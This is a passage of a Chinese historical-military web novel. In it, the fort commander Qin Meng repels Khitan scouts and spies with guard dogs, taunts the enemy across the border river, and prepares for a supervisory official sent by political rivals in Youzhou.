赵平,周扬久经沙场,目光毒辣。
一个分析认为萧铁鹰找破绽,欲行调虎离山之计。一个担忧内部问题,幽州官僚使绊子。
最终,众人意见归于统一:以不变应万变!我军是守方,依托坚固军寨,占尽地利优势。
当前首要任务是内紧外松,加强戒备,完善防御,同时保证生产练兵不辍。
只要自身铁板一块,自身不出现问题,无论鞑子要等援军,还是耍阴谋,都能沉着应对。
“好!”秦猛拍板,“那就这么定了!各司其职,严阵以待,我会派人告知各处,等着鞑子出招!”
而事实的确如他所料那般!
界河北岸的鞑子尽管安营扎寨,整日里杀声震天,摆出一副气势汹汹、随时可能渡河攻杀的架势。
可一连两天,除了小股游骑的例行侦查和隔河谩骂外,始终不见契丹大军有真正进攻的迹象。
鞑子动静不小,在河对岸草原上鬼哭狼嚎,试图扰乱军心。
但铁血军寨的军卒无动于衷,全程严阵以待,双方就此进入对峙状态。
鞑子不敢正面来犯,却在晚上动起了小动作!
夜幕低垂,界河水流潺潺,悄然掩盖了岸边的细微响动。
军寨外围的阴影里,几条黑影如鬼魅般匍匐前进,
正是契丹派出的精锐哨探。
他们穿着黑衣,身上涂满泥浆以掩盖气味,动作轻捷如狸猫,试图绕过明岗暗哨潜入寨中。
然而,他们严重低估了铁血军寨的“耳朵”。
就在最前面的探子靠近寨墙时,附近犬舍里的数条恶犬突然竖起耳朵,喉咙里发出低沉的呜咽声。
这些猛犬是秦猛特意花高价收购,让犬兵驯养的。它们对草原人身上那股子腥膻味极为敏感。
就在这些黑人用钩索辅助翻过寨墙。
“嗷呜——汪汪汪!”猛犬猛地狂吠起来,尖锐的犬叫声,铁链跟栓柱碰撞声瞬间打破了夜的寂静。
“有情况!三点钟方向!”
巡逻的什长反应极快,立刻吹响了尖锐的竹哨。
刹那间,几支手持火把的巡逻队迅速向犬吠处汇聚,火光将黑暗照得一片通明。
“分开跑!”契丹探子头目眼神惊恐,压低声音喝令,几人立刻四散开来,窜入不同方向的黑暗中。
一场无声的追猎随即在军寨外围展开。一名探子慌不择路,跳进了一个堆放草料的窝棚,企图借助草垛藏身。
可他刚扒开麦秆,就对上了一双在黑暗中发着绿光的眼睛,一条猛犬竟悄无声息地追踪而至!
他还来不及做出反抗动作,就被扑上来的猛犬死死咬住手臂,凄厉的惨叫声瞬间引来了巡逻士兵,当场被擒。
另一人更为狼狈,为躲避追兵,竟一头扎进了污物堆积的臭水沟,妄图凭借恶臭掩盖行踪。
可他刚探出头换气,就被岸上早已等候的弓弩手用箭矢瞄准,最终像泥猴一样被士兵捞了上来,浑身散发着刺鼻的臭味,狼狈不堪。
一个又一个探子无所逃遁,被逮住。
最令人啼笑皆非的是,有个探子情急之下钻进了公共茅房,以为这污秽之地不会有人搜查。
不料巡逻队经验老道,对每一处隐蔽角落都逐一排查。一名士兵刚推开茅房门,就看到那探子蜷缩在角落,脸色因恐惧和恶臭变得煞白。
在这狭小空间里,他连反抗的余地都没有,便被一拥而上的军士用枪杆打翻,再用绳子套住……
这一夜,多批试图潜入的契丹暗桩,他们的目标无论是铁血军寨,还是寨外几处营地。均被军寨严密的防御体系和嗅觉灵敏的猛犬识破。
最终或擒或杀,无一漏网。
秦大壮次日清晨向秦猛汇报时,都忍不住笑道:“哈哈哈,将军,咱们这犬兵队,可立了大功!”
“秦知寨,你这个犬兵当真了得。”赵平和周扬带人押着契丹探子赶来,对那些猛犬格外喜爱。
“那还用说?”秦猛笑容满面,他在部队没少被警犬追,力排众议组建的犬兵队终于大放异彩。
这探子潜入只是一方面。
另一场无声的较量却是在流民安置区悄然展开。
入境的鞑子暗桩不少没有靠近军寨,而是远离,扮作流民混入难民中,试图混入铁血军寨。
不得不说,这些契丹细作受过训练,说的一口流利号话,各地方言都会掌握,约会逢场作戏,彼此间相互佐证。竟然通过了层层筛选。
然而,吃一堑长一智。
铁血军寨为了应对奸细混入,对新来的流民有新的安排,单独分组安置,进入观察阶段。
新组建的暗部小队在此刻发挥了作用。
陈麻子扮作老一批流民,负责带新人,拿着笤帚打扫卫生,悄然扫过每一个新来流民的面孔。
李狗子等人则混在劳力中,一起搬运石料,耳朵却竖得老高,仔细听着周围人的交谈。
很快,他们便锁定了几个可疑目标。
这几人虽然衣衫褴褛,与其他流民无异,但手掌虎口处的老茧,明显是长期握刀拉弓留下的痕迹。
他们的眼神也过于机警,总是不自觉地打量军械库、粮仓的位置,还时常凑在一起低声交谈,频频打听寨中有多少兵马、由哪位将军带队。
陈麻子不动声色,悄悄将观察到的情况上报给秦猛。
秦猛得报后,嘴角勾起一抹冷笑:“果然来了,萧铁鹰倒是不死心呐!传令下去,抓!”
抓捕行动在午后悄然进行。军士以“分配新活计”为由,将那几名可疑分子分别叫到不同的营房问话。
其中一人刚走进屋,两旁埋伏的军士便立刻一拥而上,将其死死按住,连挣扎的机会都没有。
另一人较为警觉,走到半路察觉不对劲,转身想跑,却被李山带人堵了个正着,几下便被制服,嘴里还兀自用熟练的汉话喊着“冤枉”。
经过连夜突击审讯,这些人的契丹细作身份被确认无疑。
萧铁鹰想从内部渗透军寨的企图,再次彻底破产。
总之,铁血军寨此刻固若金汤,渗透何其艰难?
可酋帅萧铁鹰又岂能善罢甘休?
第189章 对峙与变数
界河两岸,就此陷入了诡异的平静。
但这平静之下,是汹涌翻腾的暗流。
萧铁鹰接连受挫,渗透计划屡屡破产。他派出的精锐哨探,要么被军寨的獒犬识破,要么虽侥幸混入流民,却因刺探军情露出破绽……
数批精锐斥候除了接应人员无一幸免。
这噩耗传回北岸契丹军营,萧铁鹰勃然大怒。
他深知此刻强攻无益,旋即改变策略,一计不成,又生一计。
他派出多股骑兵,分散骚扰燕北郡沿线的其他戍堡。
一时间,边境线上狼烟四起。
萧铁鹰意图通过这种方式,迫使铁血军寨分兵救援,从而露出防御破绽,自己再率军突袭。
然而,秦猛对此早已洞若观火。
他下令各部谨守本位,加强戒备,绝不上当。双涡堡,护河堡那边都有探马来报,说有鞑子踪迹。只是那边守军能应对,无关痛痒。
但南河城寨的知寨官魏文却勃然大怒,当即决定出兵反击——如今的磐石营,早已今非昔比。
曾经的磐石营,虽有两千余人马,但骑兵仅有六百多。
可自从被秦猛邀请协同作战后,凭借几场胜仗分到的草原战马,数量已突破千匹,且都带着全套鞍具,能直接投入军用,骑兵规模激增。
骑兵超过一千五百,磐石营的战力也随之大涨。
边境几个戍堡的烽火刚一燃起,魏文便立刻亲率精锐骑兵出击,以迅雷不及掩耳之势扑向骚扰的鞑子兵,一番交战,打得对方狼狈逃窜。
萧铁鹰这种诱骗之策不攻自破。
见疲敌之计无效,秦猛决定主动出击,采用攻心之策。
次日清晨,河风凛冽,吹得旌旗猎猎作响。
秦猛亲临南岸阵地,命人将十数个木盒一字排开,随即打开盒盖。
——里面赫然是此前战死的契丹千夫长哈达尔、大当户德隆等小当户,百夫长的首级!
他纵马靠近北岸,身后,七八个会契丹语的兵卒拿着木喇叭齐声吼叫,声如洪钟,声音直指对岸。
“萧铁鹰!可认得你麾下这些‘勇士’的头颅?尔等胆敢犯我大周疆土,入境劫掠,这便是下场!
若还不服,尽管放马过来,秦某在此备好刀剑,等着用你的人头,再添我战功簿上一笔!
尔等草原蛮夷不通教化,只配窝在草原上牧羊,也敢窥伺我大周山河?简直是痴心妄想!”
这番激烈的言辞过后,就是军卒们的自我发挥。前几天被从军中选出来的快嘴又被拉过来。
这些大头兵可不像秦猛那般要维系将军的形象。人人肆无忌惮,嘴巴涂抹润滑剂般口吐芬芳。
“萧铁鹰,你这个头顶生疮,脚底流脓的废物,你不在家呆着,小心婆娘天天晚上找野男人……”
“萧铁鹰,你这个坏事作孽的狗杂碎,你娘跟野男人苟合生的你,你怎么没被丢到茅坑里呛死……”
“狗汉奸,那个狗汉奸在哪里?出来,这连祖宗都忘记了乌龟王八蛋,快过来,爷爷请他吃……”
哎哟,这些快嘴果然不同凡响,骂人的话真利索。
秦猛都为之侧目,用契丹语喊话的军卒连连皱眉,只能尽量用骂人恶毒的口语转述表达。
从萧铁鹰到普通契丹兵,从胯下没有卵蛋的孬种到头上顶着绿帽子,几代女性都被骂了个遍。
连那个被秦猛认为是汉奸的神秘护卫,都被骂了个通透。
骂声如潮,笑声如浪,此起彼伏。
借助风势,清晰地传入契丹军阵之中。顿时,北岸一片哗然,愤怒的吼声如潮水般涌起。
“啊!混账,该死……”许多契丹士卒目眦欲裂,恨不得立刻冲杀过河,与秦猛决一死战。
然而,与以往的纯粹暴怒不同。
这一次,契丹兵的怒吼中掺杂了一丝难以掩饰的恐惧。
接连的惨败,尤其是多名金刀勇士的阵亡,像一盆冰水浇在头上,让他们不像以前无所畏惧。
勇悍之气依旧,也有人大吼着请战。可他们脚步却没有动,没有上马,暴露出内心已经胆怯。
中军大旗下,萧铁鹰拳头紧握,他被骂得最惨,母亲、婆娘等女性都被骂了个遍,岂能不愤怒?
他指甲几乎嵌进掌心肉里,脸上却平静得可怕。
因为他明白,这是对方使用的激将法!
萧铁鹰冷冷地看着对岸耀武扬威的大周军队,强行压下心头怒火及麾下将领的请战之声。
从牙缝里挤出一句话:“匹夫之勇,徒逞口舌之快!传令下去,没有我的将令,任何人不得擅动。”
“违令者,斩!”
他早已看穿了秦猛的激将法,深知此刻贸然进攻,只会正中对方下怀。
他需要时间,需要等待部落援军和时机的到来。
喊话的快嘴和翻译军卒骂得嘴边贴着白沫子。牛五,王良等亲兵起哄,笑的声音都变了调。
始终就只听到对面草原骂声如雷,却无人出战。
秦猛见挑衅未能引蛇出洞,就明白,激将法无效。也清楚,这个萧铁鹰还是有些本事的。
就比如这忍耐功夫,无人能及!
“哈哈哈,萧铁龟,来日方长,有的是机会收拾你。”秦猛放声狂笑,顺便给对手改个名字。
王良和牛五等人又是一阵哄笑,是那么的刺耳。
“走!”秦猛也不急躁,从容的率队返回南岸。他与赵平,周扬打过招呼,又下令高度警戒。
他便开始如往常那般,自己逐渐加强体能训练,调教亲兵队。抽出时间照顾陈月娘陪她说话……
时间一晃,又过去了两天。
腊月上旬末,寒风凛冽,呵气成霜。
北岸草原上契丹兵依旧未退,时常有游骑出没。
只要他们敢过于靠近,铁血军寨便果断出击。王善,王良,阮家兄弟带队迎敌,袁飞,徐强两人也按捺不住加入,与鞑子在河上交锋。
仗着马快、从未吃过亏的契丹骑兵在这次踢到了铁板。
契丹兵胯下马匹只裹着葛麻布,速度比不过,仰仗的骑射也不占优,手上角弓更是差了档次。
几个方面都不占优,结果就只有死了!
两天来,二十多个游骑血染冰河,就没人敢再动了。
雪墙防线阻挡骑兵,军寨人心安定,依旧按部就班。辅兵,新兵训练,劳力忙碌,运转如常。
酿酒坊里酒香四溢,炼盐的灶火日夜不熄,一车车的粮食、物资在常家、李家等商队的运输下,定期送入寨中,空车再拉走酒和盐。
酒水和精盐的买卖渐兴,维持着军寨旺盛的活力。
秦大壮、李山,刘铁柱等将领轮流值守哨位,秦猛也会不定期巡视,防务布置得滴水不漏。
他致力打地主的好处,在这期间显现。
来自青阳郡的支持,成了铁血军寨最坚实的后盾。
青阳郡城之内,一场彻底的政治清算已近尾声。
大街小巷贴满了官府告示,董家勾结狼戎、资敌叛国的罪行被公之于众,全郡百姓无不切齿痛骂,到处都在议论,诅咒董家人死绝。
让他们大快人心的是,董家及其核心党羽全被连夜抄家灭族,官府是真的对这些蛀虫动手。
在“庞阎王”庞仁雷厉风行的抓捕与抄家之下。
凡是跟董家勾结,往草原走私粮食,盐铁等战略物资的富户,商贾,不管是什么身份,不管有什么后台,只要触犯枉法,通通得抓。
城门被封住,人人参与抓捕行动。
这些为富不仁,欺压百姓的家伙纷纷落网。不管藏在哪里,甚至躲在地窖里都被人抠出来。
林郡守受伤处理不了公事,只能由县衙韩知县来负责,韩齐干劲十足,看到了升迁的希望。
庞阎王之名更是深入人心,亲自来审讯关押到牢房的家伙,从这些有钱人身上狠狠刮着油水。
几天来,海量的钱粮、连带着前几天晚上抄家的财物。由庞仁派出的心腹车队运抵铁血军寨。
军寨天天都有车队送来物资,是振奋人心之事!
但也不好的消息,赵将军派亲兵送来紧急密信……
第190章 坏消息接连
飞虎卫的临时驻地,距铁血军寨仅三五里路,互为犄角。
短短时日,这片营地已初具规模。
得益于从幽州大营调拨的大批物资和能工巧匠。飞虎卫兵卒日夜赶工,更有三百苦力相助。
——如秦猛抓来的马六等人,及庞仁从青阳郡及各县、镇拘来的地痞村霸,一股脑塞到这里。
按罪轻重审判,以劳役代刑罚,在皮鞭与呵斥声中,夯实着营寨的每一寸土地,工程进展神速。
众人“齐心协力”之下,临时驻地已可容纳三千人马。
寨墙以原木混合夯土砌就,颇为坚固,前后寨门处壕沟深挖,陷阱暗布,虽比不得铁血军寨那般雄壮,却也俨然一座杀气森然的战争堡垒。
此刻,营地内刚接收完从幽州大营送来的一批粮秣军资。押运官乃是赵将军的心腹副将,他不仅带来了物资,更带来了一封密封的军报。
中军大帐内,气氛凝重而压抑。
赵平、周扬、袁飞等将领早已齐聚,神色各异。
“真是怪哉!往年寒冬,朝廷恨不得所有人都缩在城里。眼看暴雪将至,路途难行,偏偏这时候来人,说是从并州返程顺道,实在令人想不透。”
秦猛来得晚,接过那已然拆开的密信,展开信纸,赵将军那熟悉而刚劲的笔迹映入眼帘:
赵平,秦猛切记!
朝廷钦使突至幽州大营,巡视边备、检阅诸军,我受此牵制,原定亲率大军驰援之策暂缓。
然边寨安危至关重要,现已遣狂风营副将王魁率五百精锐并粮草先行赴边寨,以补兵力之缺。
此番钦使改道前来,时机蹊跷,恐非单纯巡边。铁血军寨内外受困,务必警惕,军中诸事可临机独断,不可贸然渡河击之,以稳妥为先。
切记,来者不善,务必慎行!
信的末尾,那“来者不善,务必慎之”几个字,墨迹尤重,仿佛蕴含着赵将军无尽的担忧与警示。
秦猛放下信纸,一股无形的压力萦绕心头。目光不由自主地投向帐外,望向界河北岸草原。
外有狡诈如狼的萧铁鹰虎视眈眈,内有欧洲官僚的算计。这下两路朝廷来人带来的未知变数。
他深吸一口凛冽的空气,心中暗忖:
这界河两岸看似平静的对峙,恐怕很快就要被打破了。只是,不知先发难的会是岸北的契丹铁骑,还是即将从身后到来的…“自己人”?
又或者是两者……?
秦猛眼睛精光闪烁,似乎抓到了灵感。
这时,赵平皱着眉,率先开口,打破沉默:“秦知寨,此事必定有蹊跷,却猜不出问题在哪。”
“无须过多担忧,咱们只要知道事出反常即为妖。”秦猛见众人忧心的模样,神色镇定的安慰。
“不需要知道其他,只要知道都有可能是阴谋。针对铁血军寨的阴谋,不要慌,不要自乱阵脚。队伍该做什么,照常不变,加强戒备。”
“不错,秦知寨说的极是。”众人纷纷点头称赞。
随后,帐内众人就此进行一番商议。
诸葛风捻着短须,分析道:“大人,赵将军信中提及‘时机蹊跷’,绝非虚言。冬季巡边,有违常理。
结合此前铲除董家之事牵扯出的幽州某些人,此事背后,恐有阴谋。其目的,或许正是为了牵制赵将军,使我铁血军寨陷入孤立无援。”
众将皆以为然,心中蒙上一层阴影。
当务之急,是如何应对援军暂缓带来的影响。
秦猛下令,以‘桥塌了援军战缓’为由告知全军将士。各处继续加固防御,与军寨联动需更加紧密,哨探范围再向外延伸十里,严防敌人趁机偷袭。
商议既定,秦猛带队返回军寨。尽管内心波澜起伏,他却不动声色,照常巡视,观看兵卒操练。
辅兵,新兵的训练依旧喊声震天。
但军寨内部的防范等级,却在无声无息中再次提升。
黄昏时分,残阳如血。
秦猛正在校场上调教亲兵队,顺便指点秦小芸带领的女子护卫队进行格斗操练,忽有亲兵来报:
庞仁主簿亲自押运一支车队入寨。
很快,风尘仆仆的庞仁大步走入,脸上带着些许疲惫,却兴奋嚷嚷:“大人!郡城之事已彻底了结,董家及其党羽皆已伏法,郡内为之一清!”
“就剩下董谦这条漏网之鱼。”庞仁惋惜的补充。
“无妨,他翻不起风浪。”秦猛露出肯定的笑容。
庞仁立刻换上笑脸:“大人,卑职这是将最后一批缴获的财物押送过来,顺便…也回家看看。”
他咧着嘴,低声道:“这回可是捞……哦不,是抄出了不少好东西,足够军寨用度一阵了。”
此次,与庞仁同车而来的,还有一位三十来岁、宽袍大袖的文士。
此人面容清癯,目光沉稳,下了马车,进入官署后院,见到秦猛,上前一步,恭敬行礼。
“不才孟宇,忝为郡守幕僚。有幸拜会秦知寨。”
秦猛拱手回礼:“孟先生辛苦。”
孟宇目光扫过秦猛身后肃立的亲兵和操练的队伍,脸色变得格外凝重,压低声音道。
“秦将军,林郡守有机密之事,托在下务必当面转达。这人多嘴杂,还请务必借一步说话。”
说到最后,孟宇语气有些低沉。
秦猛心领神会,将孟宇引至自己的官署书房,屏退左右。
“秦将军,”孟宇脸上先露出一丝喜色,但随即被忧虑覆盖,“首先向将军报喜!此番青阳郡能肃清内奸,铲除毒瘤,将军当居首功。
林大人虽在‘养伤’,亦日夜关注边情,得知将军连挫契丹,斩首甚多,更是欣慰,时常夸赞。
大人让在下转告,郡城抄没的商铺、田产等,正在加紧变卖处置,所得钱粮,必优先供给军寨,绝不让将士们寒心。
此外,林大人已草拟奏章,要为将军向朝廷请功……”
秦猛谦虚地摆摆手:“孟先生言重了。此乃上下同心、将士用命之功,秦某岂敢独揽?
林大人运筹帷幄,孟先生参赞机要,皆是功不可没。
还有那张崇指挥使,临危受命,拦截有功,当提拔为郡城都尉;韩知县兢兢业业,维持地方安定;庞主簿更是奔波劳顿,出力甚巨……
青阳郡能稳定下来,是全赖诸位同心协力。”
他话锋微转,意味深长地笑道:“如今郡内隐患已除,正是政通人和之时。林大人想必自有明断。
而孟先生大才,日后在燕北郡,也必能一展心中抱负。”
孟宇闻言,眼中兴奋之光一闪而过,哈哈笑道:“哈哈哈,怪不得林大人常说,秦知寨非常人,今日一见,果然洞若观火,体察入微!”
他们这些文人屈居幕僚,所图不外乎就是个施展才华、步入仕途的机会。
如今林安国借秦猛之势真正掌握了郡政大权,身边是用人之际,他孟宇的机会自然也来了。
而这一切,都与眼前这位年轻的知寨官密不可分。
一番看似融洽的寒暄过后,孟宇脸上的笑容迅速收敛,取而代之的是凝重,说起了此行正事。
他身体前倾,声音压得极低:“将军,还有一事,至关重要……前些时日,林大人宴请同窗好友,意外得知一则幽州刺史府内部消息。
不日将往铁血军寨派遣监镇官,专职督查军中事务。据大人打探,这位监镇官是刺史大人亲点的人选,一到任便要全盘接管军需稽核……”
什么?监镇官?秦猛瞳孔剧烈收缩,脱口而出,随即脸上笑意荡然无存,一张脸拉得老长。
刺史府的人?
边军赵将军那边刚来了朝廷钦使巡边,这边刺史府又突然安插监镇官,种种事情,绝非巧合。
第191章 军寨危局
因为刘德福的事,秦猛已经彻底得罪了幽州的官僚,刺史府这时候安插人手,明眼人都知道没安好心。
这就是摆在台面上的算计。
“孟先生可知来的人是谁?”秦猛脸色阴沉地问。
孟宇往他身边凑了凑,声音压得极低,几乎细不可闻:“人选虽然还没完全定死,但十有八九是刺史府的文案苏珩。
这人出身幽州本地士族,饱读诗书,靠着家世在府里站稳脚跟,打心底里把军中武将当成‘粗鄙武夫’,总觉得边军行事张扬、不守规矩。
他在幽州官场的派系盘根错节,跟军中将领却向来水火不容,常常在核对文书时鸡蛋里挑骨头,还指手画脚,就为了彰显自己的‘督查能力’。”
“居然是这么个货色?”秦猛眼中寒光一闪,隐隐透出杀机——解决麻烦最直接的办法,就是除掉制造麻烦的人。
孟宇莫名心头一紧,赶紧深吸一口气劝道:“林大人特意让在下提醒将军,万万不可轻举妄动!
这人劣迹不少,名义上是‘协理军务’,实际上是刺史府想借机拿捏军寨的政务权,用来制衡您。”
她顿了顿,继续说道:“秦将军您骁勇善战,近来屡立战功,又得到虎贲军赵将军倚重。
最重要的是,还铲除了刘德福,早就成了幽州官场某些人的‘眼中钉’。苏干办要是到了军寨。
以此人首鼠两端的本性,肯定会逐页核查军需账目、仔细追究防务部署,少不了吹毛求疵,故意找茬,将军一定要谨慎,千万别冲动!”
“哼,”秦猛突然冷哼一声,恶狠狠地问道:“撮鸟惹事,老子便一刀斩了他,岂不干净利落?”
孟宇打了个激灵,连连摇头摆手:“哎呦呦,万万不可!将军要是真这么做,反倒给了别人把柄,幽州官僚巴不得您这样,正好借题发挥!”
“然后他们上报朝廷,”秦猛接过话头,语气里满是自嘲,“说我擅杀朝廷命官、蓄意谋反,朝中再有人串联同党,添油加醋,严加查办。
到时候我就算浑身是嘴也说不清,连边军帅司都不敢护着我,最终秦某难逃一死,是吧?”
孟宇脸上闪过一丝错愕,看着眼前这个身材高大、却把其中利害看得透彻的年轻知寨,他心里又惊讶又无奈。
——明明知道不能做,偏还要问,倒是个直肠子。
“后果我自然清楚,”秦猛收敛了身上的戾气,露出一抹无奈的苦笑,“我只是不愿军寨被这些害群之马搅乱。多了他们掣肘,政令不通,处处有人扯后腿,高兴的只会是对面的鞑子。”
他脑子里飞速思索对策,可自己对官场的弯弯绕本就生疏。
老保长王槐和诸葛风又从没入过仕途,实在没法给出好主意。
忽然,他眼前一亮——眼下不就有个现成的行家吗?
正是擅长这类事的官场幕僚孟宇!
“还请先生教我,该如何应对?”秦猛从书桌抽屉里摸出一块沉甸甸的金元宝,不由分说塞到孟宇手里。
孟宇指尖触到冰凉的金子,脸上的拘谨瞬间消失,不动声色地把金元宝收进袖子。
他捋着胡须笑道:“秦将军放心,这事其实也不难。铁血军寨刚升格没多久,按规矩,地方得等一年半载后才会派人来监镇。
将军您只需以‘军寨初立、钱少粮缺、暂无繁杂政务’为理由,就能把苏珩打发走,不,是晾在一边,最后是赖还是走,那就是他的事儿。”
他又往前凑了凑,语气愈发热情:“不过,将军得先向帅司递上文书,多要钱、多要粮、多要人,让帅司知晓难处,出面给幽州地方施压。这样一来,名正言顺,事情肯定能成!”
“明白了,多谢先生指点!”
秦猛豁然开朗,起身郑重地行了一礼。
孟宇连忙扶起他,笑容更显热络:“秦知寨客气了!林大人还特意嘱咐,官场上,蛮干不行,遇事千万别冲动,务必先占一个‘理’字!
朝廷里头,向来是‘有人好当官’,日后想少遇些阻碍,上下打点的门道,也得慢慢学。
就说这次向帅司请求调拨军备物资,事后要是能备些薄礼答谢经办人,下次办事肯定会顺畅不少。”
“多谢先生告诫。”秦猛勉强笑了笑,沉声应下。
随后,他强打精神和孟宇闲聊了几句军中琐事。
直到亲兵来报接风宴已经备好,才热情地邀请孟宇一同赴宴,并请老保长王槐、诸葛风来作陪。
踏入宴席厅时,暖意裹挟着浓烈的烟火气扑面而来。
炉子里的炭火正旺,架在上面的大铁锅咕嘟作响,里头炖着大块马肉,掺了些冬萝卜、野蘑菇,汤汁熬得乳白,热气裹着肉香直钻鼻腔。
桌案上,陶盘里码着烤得焦香的整只野鸡,表皮泛着油光,旁边摆着切好的卤野兔腿,还有一碟碟炒豆子,用盐腌渍的酸白菜、辣芥菜。
——都是边塞冬日里常见或耐存又下饭的菜。
最显眼的是墙角摞着的几坛烧酒,坛口塞着麻布,标签上“北风烈”三个粗粝大字透着股豪迈。
秦猛亲自起身,拎过一坛酒,给孟宇、王槐、诸葛风的碗里挨个斟满,酒液淳厚,落碗有声:“先生别嫌弃,边塞没什么精细吃食。
就这大锅肉、烈烧酒实在!今日不聊公务,先喝痛快!”
孟宇望着满桌带着烟火气的吃食,端起酒碗笑道:“将军说笑了,这才是北疆的真滋味!比郡城酒楼里那些精致小菜,更让人暖心!”
众人举杯相碰,碗沿碰撞的脆响混着笑声,相互招呼着坐下吃菜,让此前的沉郁一扫而空。
……
今夜,寒风呼啸。
乌云彻底吞噬了最后一点星月之光,天地间一片肃杀。
不单单是铁血军寨为了备战而准备!
幽州城外的官道上,几辆马车歪斜在地,惨叫声刚刚平息。
车夫倒在血泊中,赵开明浑身溅满温热的鲜血,却仍手持短刀,死死将瑟瑟发抖的妻儿护在身后。
他盯着步步紧逼的黑衣杀手,眼中满是绝望与愤恨,嘶声大吼:“崔文选,你这个畜生,言而无信!老子就算做鬼,也不会放过你!”
“嘎嘎嘎……”领头的黑衣人发出如夜枭般的怪笑,“赵先生,你交出账本已经是立功,可惜呀,你知道得太多了。崔大人说了,你留不得。”
二十多名黑衣人形成合围之势,赵开明一家已是瓮中之鳖。
“为虎作伥,你们不会有好下场!”赵开明怒吼道。
“这就不劳先生操心了,现在就送您一家上路!”领头者眼中寒光一闪,一声呼哨后,挥刀就要上前。
千钧一发之际,一声炸雷般的怒吼划破夜空:“呔!哪来的撮鸟敢在府城外行凶?吃洒家一杖!”
声到人到!只见一个胖大和尚如同金刚降世,从黑夜里猛冲出来,手中沉重的镔铁禅杖带着恶风横扫!
“砰”的一声闷响,一名黑衣人的头颅像西瓜般爆开!
和尚动作不停,冲入人群,拳打脚踢,又有几人筋断骨折地摔飞出去,场面瞬间一片大乱。
“哪来的秃驴敢管闲事?”黑衣人首领又惊又怒。
可话音未落,另一侧黑暗中又杀出一名彪形大汉。豹头环眼,燕颔虎须,手持一条红缨长枪,如毒龙出洞,一枪刺出,就将一人刺穿。
他朗声笑道:“鲁师傅,小弟早说了,家叔来这边陲上任是抱着死志来的,这幽州绝非善地。”
“哈哈哈!林兄弟说得对!咱们都是来寻亲的,先超度了这些孽障,也算是积德行善,阿弥陀佛!”
那胖大和尚笑声如雷,禅杖舞得呼呼生风,碰到的人非死即伤。
使枪的青年身形矫健,枪出如龙,连连挑杀。
这突如其来的神兵天降,让本已绝望的赵开明看得目瞪口呆,手中紧握的短刀“哐啷”一声掉落在地……
第192章 针尖对麦芒
当天夜里,官署内接风宴的喧嚣散去,孟宇喝醉了下去歇息,厅中的气氛却比宴席上凝重百倍。
灯火被夜风摇曳,映得每个人脸上神色变幻不定。
秦猛悄悄召集了心腹将领:秦大壮、李山、刘铁柱、常勇,就连回家还没休息的庞仁,也被紧急请来。
秦猛没有废话,言简意赅地把赵将军密信上的内容、幕僚孟宇私下的露骨警告,一五一十地说了出来。
屋内瞬间陷入死寂,只剩下烛火的爆燃声和众人粗重的呼吸声。
“娘的!”性格火爆的刘铁柱最先沉不住气,咬牙低吼。
“堡子破败,没吃没穿,前线拼杀的时候不见幽州府上心。这升格为军寨不久,流民来了,刚有点起色就派人来捣乱,这简直是欺人太甚!”
心思缜密的李山捻着胡须沉声道:“将军,这事不简单。赵将军被朝廷来使绊在幽州,绝不是偶然。
钦使突然到来,幽州重启‘监镇官’,这几件事凑在一起,分明是冲我们、冲您来的!我最担心的是,内部勾结鞑子,跟萧铁鹰里应外合。”
“这显然就是个阴谋,”常勇赞同地点头附和,“事出反常必有妖,不然根本没法解释这些事。”
沉默的秦大壮闷声说道:“郡城刚肃清内部、人心安定,又来这一出……监军要是来了,处处掣肘,跟我们唱反调,军寨不得安宁,这仗根本没法打!”
“哎,”庞仁接过话茬,苦着脸说:“大壮哥说得对,多了个碍事的,没事找事,跟咱们作对。”
庞仁担任巡检也快半个月,多少了解些官场门道,此刻说得有理有据,圆脸上满是忧虑。
“幽州府安插人来,合情合理,还没法拒绝。多了这么个眼睛,军寨的底子根本瞒不住,比如军寨人数,开荒田亩,以及酒水和精盐这些……”
众将的目光全都聚集到秦猛身上,显然是等着他拿主意。
秦猛神色镇定,目光如电扫过众人,沉声道:“慌什么?天塌不下来!兵来将挡,水来土掩!”
他声音不高,却自带威严,随即沉声下达命令:
“第一,各营即刻外松内紧,对外一切如常,对内加强戒备,明岗暗哨加倍,重点守好军械库、粮草地和寨墙要害,抓紧连夜布置陷阱……”
“第二,李山,派精干的斥候外出,既要盯紧鞑子的动静,更要留意青阳郡方向,防止‘自己人’搞鬼。”
“第三,庞仁,”秦猛看着这个有头脑的部下,语气凝重,“你镇守的巡检司驻地,连同郡城,是军寨的退路。
从现在起,你得加强防范,务必保证后勤线路畅通无阻,核查近日往来的队伍,排查‘特别’迹象。凡是有可疑之处,先尽力周旋拖延,然后立刻回报。”
最后,秦猛看向所有人,斩钉截铁地说:“鞑虏还没退去、阴谋还没查清,所有人都得打起十二分精神!
记住,咱们身后是家人、是数千百姓,脚下是大周的国土,只要我们自己不乱,就没人能扰乱我们!谁敢来犯咱家园,那就搞死他们!”
“末将(卑职)遵命!”众将纷纷起身,凛然应诺,压抑的声音里透着凝聚的决心与杀气。
当夜,两名精锐骑兵飞奔出寨,怀揣着墨迹未干的文书,马蹄裹着麻布,在雪地上疾驰而去。
他们肩负着秦猛的死令,需连夜赶赴双涡堡传达指令:任何打着援军旗号的队伍,若没有特殊暗号口令,一律严阵以待,绝不准放入堡内半步。
第二日,天还没亮,乌云就像铁幕似的压向军寨,北风卷着雪沫子抽打在营垒的土墙上,发出刺耳的尖啸。
第一场雪后的晴天短得像昙花一现。
今年冬天的第二场暴雪正憋着劲儿要下。可河对岸的契丹大营却透着古怪——前些天天天来骚扰的游骑,忽然就没影了。
没一会儿,就听见马蹄声轰隆隆响,几百个契丹骑兵跟狼群似的,踩着结冰的河面直冲大周军前沿的雪墙防线!
他们骑着马往前冲,刀戟映着灰蒙蒙的天光,看那样子像是要全力攻城。
等烽燧堡的号角“呜呜”响起来,守军冲出军营,弓箭弩箭都备好、摆好阵势准备迎战时,这支骑兵却猛地勒住马往回撤。
只留下几声挑衅的口哨声。
过了大半个时辰,同样的把戏又演了一遍……
契丹主将萧铁鹰的心思再明显不过:就是用这种虚张声势的法子耗守军体力,磨掉大伙儿的斗志,等着找机会下手。
“这点小伎俩!”秦猛站在望楼上冷笑一声。
他立刻下令:让士兵扎些草人,给草人穿上盔甲、拿着弓箭,密密麻麻排在雪墙后面当疑兵;又挑了些精锐骑兵组成夜袭小队,等天黑后悄悄摸到契丹营地附近。
一边敲锣打鼓吵得敌人没法安宁,一边扯着嗓子骂契丹兵的祖宗,说他们脑袋上绿油油的。契丹人气得火冒三丈,见来骚扰的人少,就冲出营门追赶。
大周的小队就按计划往后撤,把他们引到冰面上早就设好的鞭炮阵里。
